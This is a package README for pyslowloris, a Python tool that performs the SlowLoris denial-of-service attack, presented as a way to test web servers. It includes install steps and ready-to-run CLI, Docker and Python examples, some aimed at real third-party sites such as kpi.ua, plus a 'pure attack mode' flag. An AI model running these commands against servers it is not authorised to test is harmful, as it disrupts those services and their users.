pyslowloris 2.0.3

Description:

pyslowloris 2.0.3

PySlowLoris





PySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers.
More information about the attack you can find here.
Installation
PyPi
For installation through the PyPI:
$ pip install pyslowloris==2.0.1

This method is prefered for installation of the most recent stable release.
Source-code
For installation through the source-code for local development:
$ git clone https://github.com/[username]/SlowLoris.git
$ cd SlowLoris
$ pip install poetry
$ pyenv install 3.8.3
$ pyenv local 3.8.3
$ poetry env use 3.8.3

Basic Usage
Available command list:
$ slowloris --help
usage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s]

Asynchronous Python implementation of SlowLoris attack

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Link to a web server (http://google.com) - str
-c CONNECTION_COUNT, --connection-count CONNECTION_COUNT
Count of active connections (default value is 247) - int
-s, --silent Ignore all of the errors [pure attack mode] - bool

Docker usage
Download image from Docker Hub
Pull the image from Docker Hub and run a container:
$ docker pull maxkrivich/pyslowloris
$ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]

Build image from source-code
Also you can build image from Dockerfile and run a container:
$ docker build -t pyslowloris .
$ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]

Note: Don't forget about 'sudo'!
Example of usage
How to use module through Python API
Here is an example of usage
from pyslowloris import HostAddress, SlowLorisAttack

url = HostAddress.from_url("http://kpi.ua")
connections_count = 100

loris = SlowLorisAttack(url, connections_count, silent=True)
loris.start()

How to use module via CLI
The following command helps to use module from command line
$ slowloris -u http://kpi.ua/ -c 100 -s

stop execution: Ctrl + C
Testing
Testing with real apache server
$ docker-compose up web_server -d
$ .....

Module-tests
$ make pytest

Bugs, issues and contributing
If you find bugs or have suggestions about improving the module, don't hesitate to contact me.
License
This project is licensed under the MIT License - see the LICENSE file for details
Copyright (c) 2017-2020 Maxim Krivich

License

For personal and professional use. You cannot resell or redistribute these repositories in their original state.

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